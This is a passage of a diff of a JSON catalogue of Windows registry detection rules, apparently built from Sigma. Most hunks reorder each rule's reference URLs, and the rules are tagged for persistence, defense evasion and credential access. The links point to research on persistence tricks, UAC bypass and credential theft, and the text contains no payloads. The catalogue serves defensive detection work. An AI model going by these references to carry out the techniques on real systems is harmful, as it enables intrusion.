"https://bunnyinside.com/?term=f71e8cb9c76a", - "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_etw_disabled.yml" + "https://twitter.com/_xpn_/status/1268712093928378368", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_etw_disabled.yml", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr" ], "tags": [ "attack.defense_evasion", @@ -60503,8 +60501,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml", + "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/" ], "tags": [ "attack.defense_evasion", @@ -60527,9 +60525,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml", "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml" + "https://twitter.com/dottor_morte/status/1544652325570191361" ], "tags": [ "attack.defense_evasion", @@ -60552,9 +60550,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/dottor_morte/status/1544652325570191361", "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml", + "https://twitter.com/dottor_morte/status/1544652325570191361" ], "tags": [ "attack.defense_evasion", @@ -60627,9 +60625,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml", "https://persistence-info.github.io/Data/wer_debugger.html", - "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml" + "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/" ], "tags": [ "attack.persistence" @@ -60651,9 +60649,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml", "https://persistence-info.github.io/Data/hhctrl.html", - "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml" + "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/" ], "tags": [ "attack.persistence" @@ -60676,8 +60674,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd", - "https://unit42.paloaltonetworks.com/ransomware-families/", "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A", + "https://unit42.paloaltonetworks.com/ransomware-families/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml" ], "tags": [ @@ -60749,8 +60747,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments" ], "tags": [ "attack.defense_evasion", @@ -60798,10 +60796,10 @@ "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/ifilters.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ifilter_persistence.yml", "https://twitter.com/0gtweet/status/1468548924600459267", - "https://github.com/gtworek/PSBits/tree/master/IFilter", "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ifilter_persistence.yml" + "https://github.com/gtworek/PSBits/tree/master/IFilter" ], "tags": [ "attack.persistence" @@ -60823,9 +60821,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store", "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store" ], "tags": [ "attack.impact", @@ -60848,8 +60846,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml", + "https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/" ], "tags": [ "attack.command_and_control", @@ -60873,8 +60871,8 @@ "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/lsaaextension.html", - "https://twitter.com/0gtweet/status/1476286368385019906", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_extension_persistence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_extension_persistence.yml", + "https://twitter.com/0gtweet/status/1476286368385019906" ], "tags": [ "attack.persistence" @@ -60945,9 +60943,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/mpnotify.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mpnotify_persistence.yml", "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mpnotify_persistence.yml" + "https://persistence-info.github.io/Data/mpnotify.html" ], "tags": [ "attack.persistence" @@ -60971,9 +60969,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_application_appcompat.yml", "https://github.com/OTRF/detection-hackathon-apt29/issues/1", - "https://threathunterplaybook.com/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_application_appcompat.yml" + "https://threathunterplaybook.com/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.html" ], "tags": [ "attack.execution", @@ -60996,9 +60994,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", - "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml" + "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy" ], "tags": [ "attack.credential_access", @@ -61021,8 +61019,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/ADV170021", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_enable_dde.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_enable_dde.yml", + "https://msrc.microsoft.com/update-guide/vulnerability/ADV170021" ], "tags": [ "attack.execution", @@ -61045,10 +61043,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/inversecos/status/1494174785621819397", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_security.yml", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", - "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_security.yml" + "https://twitter.com/inversecos/status/1494174785621819397", + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/" ], "tags": [ "attack.defense_evasion", @@ -61072,8 +61070,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/_vivami/status/1347925307643355138", - "https://vanmieghem.io/stealth-outlook-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_vsto_persistence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_vsto_persistence.yml", + "https://vanmieghem.io/stealth-outlook-persistence/" ], "tags": [ "attack.t1137.006", @@ -61147,8 +61145,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", "https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us", + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_webview.yml" ], "tags": [ @@ -61173,8 +61171,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md", - "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_security.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_security.yml", + "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings" ], "tags": [ "attack.persistence", @@ -61197,9 +61195,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml", "https://github.com/rootm0s/WinPwnage", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml" + "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/" ], "tags": [ "attack.persistence", @@ -61222,9 +61220,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml", "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/", - "https://persistence-info.github.io/Data/autodialdll.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml" + "https://persistence-info.github.io/Data/autodialdll.html" ], "tags": [ "attack.persistence" @@ -61246,8 +61244,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_susp_locations.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_susp_locations.yml", + "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)" ], "tags": [ "attack.persistence", @@ -61270,8 +61268,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mycomputer.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mycomputer.yml", + "https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/" ], "tags": [ "attack.persistence" @@ -61293,9 +61291,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_search_order.yml", "https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/", - "https://attack.mitre.org/techniques/T1546/015/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_search_order.yml" + "https://attack.mitre.org/techniques/T1546/015/" ], "tags": [ "attack.persistence", @@ -61318,9 +61316,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/dez_/status/1560101453150257154", "https://forensafe.com/blogs/typedpaths.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml", + "https://twitter.com/dez_/status/1560101453150257154" ], "tags": [ "attack.persistence" @@ -61343,8 +61341,8 @@ "logsource.product": "windows", "refs": [ "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465" ], "tags": [ "attack.defense_evasion" @@ -61367,8 +61365,8 @@ "logsource.product": "windows", "refs": [ "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465" ], "tags": [ "attack.defense_evasion" @@ -61390,8 +61388,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" ], "tags": [ "attack.execution", @@ -61414,9 +61412,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml", "https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry", - "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml" + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html" ], "tags": [ "attack.persistence", @@ -61439,8 +61437,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled" ], "tags": [ "attack.defense_evasion", @@ -61463,8 +61461,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_register_custom_protocol_handler.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_register_custom_protocol_handler.yml", + "https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/" ], "tags": [ "attack.defense_evasion", @@ -61487,8 +61485,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml", + "Internal Research" ], "tags": [ "attack.resource_development", @@ -61535,10 +61533,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/VakninHai/status/1517027824984547329", "https://twitter.com/pabraeken/status/998627081360695297", "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml", + "https://twitter.com/VakninHai/status/1517027824984547329" ], "tags": [ "attack.defense_evasion", @@ -61612,9 +61610,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_shim_databases_persistence.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", - "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_shim_databases_persistence.yml" + "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" ], "tags": [ "attack.persistence", @@ -61638,8 +61636,8 @@ "logsource.product": "windows", "refs": [ "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", - "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_silentprocessexit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_silentprocessexit.yml", + "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/" ], "tags": [ "attack.persistence", @@ -61662,10 +61660,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/codesigning.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml", "https://github.com/gtworek/PSBits/tree/master/SIP", "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml" + "https://persistence-info.github.io/Data/codesigning.html" ], "tags": [ "attack.persistence", @@ -61737,8 +61735,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md" ], "tags": [ "attack.defense_evasion", @@ -61786,8 +61784,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index", "https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files", + "https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_keyboard_layout_load.yml" ], "tags": [ @@ -61811,8 +61809,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1410545674773467140", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml", + "https://twitter.com/SBousseaden/status/1410545674773467140" ], "tags": [ "attack.privilege_escalation", @@ -61836,8 +61834,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_reg_persist_explorer_run.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_reg_persist_explorer_run.yml", + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/" ], "tags": [ "attack.persistence", @@ -61860,8 +61858,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_run_key_img_folder.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_run_key_img_folder.yml", + "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" ], "tags": [ "attack.persistence", @@ -61934,8 +61932,8 @@ "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://labs.f-secure.com/blog/scheduled-task-tampering/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml", + "https://labs.f-secure.com/blog/scheduled-task-tampering/" ], "tags": [ "attack.persistence", @@ -61983,14 +61981,14 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", - "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", - "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", + "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml", "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml" + "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/" ], "tags": [ "attack.defense_evasion", @@ -62014,14 +62012,14 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", - "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", - "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", + "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml", + "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/" ], "tags": [ "attack.defense_evasion", @@ -62070,9 +62068,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml", "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md" ], "tags": [ "attack.persistence", @@ -62095,9 +62093,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml", "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - 